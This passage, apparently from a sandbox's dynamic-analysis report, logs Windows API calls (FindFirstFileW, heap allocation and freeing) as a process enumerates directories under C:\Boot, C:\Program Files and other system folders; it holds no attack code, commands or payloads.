(HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.805] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.805] GetProcessHeap () returned 0xc00000 [0088.805] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.805] GetProcessHeap () returned 0xc00000 [0088.805] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.805] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.808] GetProcessHeap () returned 0xc00000 [0088.808] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.808] GetProcessHeap () returned 0xc00000 [0088.808] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.808] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.809] GetProcessHeap () returned 0xc00000 [0088.809] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.809] GetProcessHeap () returned 0xc00000 [0088.809] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.809] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.811] GetProcessHeap () returned 0xc00000 [0088.811] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.811] GetProcessHeap () returned 0xc00000 [0088.811] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.811] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.811] GetProcessHeap () returned 0xc00000 [0088.811] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.811] GetProcessHeap () returned 0xc00000 [0088.811] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.812] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Resources\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.813] GetProcessHeap () returned 0xc00000 [0088.813] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3781080 [0088.814] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19c38 [0088.814] GetProcessHeap () returned 0xc00000 [0088.814] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3781080 | out: hHeap=0xc00000) returned 1 [0088.815] GetProcessHeap () returned 0xc00000 [0088.815] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.815] GetProcessHeap () returned 0xc00000 [0088.815] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.816] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ro-RO\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.817] GetProcessHeap () returned 0xc00000 [0088.817] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.817] GetProcessHeap () returned 0xc00000 [0088.817] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.817] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0089.275] GetProcessHeap () returned 0xc00000 [0089.275] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0089.275] GetProcessHeap () returned 0xc00000 [0089.275] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0089.275] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sk-SK\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0089.276] GetProcessHeap () returned 0xc00000 [0089.276] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0089.276] GetProcessHeap () returned 0xc00000 [0089.276] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0089.276] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sl-SI\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0089.277] GetProcessHeap () returned 0xc00000 [0089.277] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0089.277] GetProcessHeap () returned 0xc00000 [0089.277] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0089.277] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19c38 [0089.277] GetProcessHeap () returned 0xc00000 [0089.277] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0089.278] GetProcessHeap () returned 0xc00000 [0089.278] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0089.278] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19cb8 [0089.278] GetProcessHeap () returned 0xc00000 [0089.278] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0089.278] GetProcessHeap () returned 0xc00000 [0089.278] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0089.278] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0089.278] GetProcessHeap () returned 0xc00000 [0089.278] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0089.278] GetProcessHeap () returned 0xc00000 [0089.278] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0089.278] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0089.278] GetProcessHeap () returned 0xc00000 [0089.279] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0089.279] GetProcessHeap () returned 0xc00000 [0089.279] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0089.279] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\uk-UA\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19c78 [0089.279] GetProcessHeap () returned 0xc00000 [0089.279] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0089.279] GetProcessHeap () returned 0xc00000 [0089.279] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0089.279] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19c38 [0089.279] GetProcessHeap () returned 0xc00000 [0089.279] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0089.279] GetProcessHeap () returned 0xc00000 [0089.279] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0089.279] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0089.280] GetProcessHeap () returned 0xc00000 [0089.280] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0089.280] GetProcessHeap () returned 0xc00000 [0089.280] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0089.280] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0089.280] GetProcessHeap () returned 0xc00000 [0089.280] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0089.280] GetProcessHeap () returned 0xc00000 [0089.280] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3740058 | out: hHeap=0xc00000) returned 1 [0089.281] GetProcessHeap () returned 0xc00000 [0089.282] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3740058 [0089.282] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ESD\\*", lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0xc199f8 [0089.282] GetProcessHeap () returned 0xc00000 [0089.282] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3740058 | out: hHeap=0xc00000) returned 1 [0089.282] GetProcessHeap () returned 0xc00000 [0089.282] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3740058 [0089.282] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Logs\\*", lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0xc199f8 [0089.287] GetProcessHeap () returned 0xc00000 [0089.287] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3740058 | out: hHeap=0xc00000) returned 1 [0089.287] GetProcessHeap () returned 0xc00000 [0089.287] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3740058 [0089.287] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*", lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0089.291] GetProcessHeap () returned 0xc00000 [0089.291] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3740058 | out: hHeap=0xc00000) returned 1 [0089.291] GetProcessHeap () returned 0xc00000 [0089.291] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3740058 [0089.291] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\*", lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xf3351406, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf3351406, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0xc199f8 [0089.291] GetProcessHeap () returned 0xc00000 [0089.291] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0089.292] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xec1f1c3c, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xec1f1c3c, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19bb8 [0089.292] GetProcessHeap () returned 0xc00000 [0089.292] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0089.293] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6e6, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0089.297] GetProcessHeap () returned 0xc00000 [0089.297] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0089.297] GetProcessHeap () returned 0xc00000 [0089.297] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0089.297] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\*", lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6e6, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0089.298] GetProcessHeap () returned 0xc00000 [0089.298] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37948a8 [0089.298] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\*", lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName=".", cAlternateFileName="")) returned 0xc19c78 [0089.305] GetProcessHeap () returned 0xc00000 [0089.305] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37948a8 | out: hHeap=0xc00000) returned 1 [0089.305] GetProcessHeap () returned 0xc00000 [0089.305] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37948a8 [0089.305] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\*", lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0089.305] GetProcessHeap () returned 0xc00000 [0089.305] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0089.306] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0089.308] GetProcessHeap () returned 0xc00000 [0089.308] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0089.308] GetProcessHeap () returned 0xc00000 [0089.308] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0089.308] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e9460 [0089.308] GetProcessHeap () returned 0xc00000 [0089.308] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0089.308] GetProcessHeap () returned 0xc00000 [0089.308] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0089.308] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft 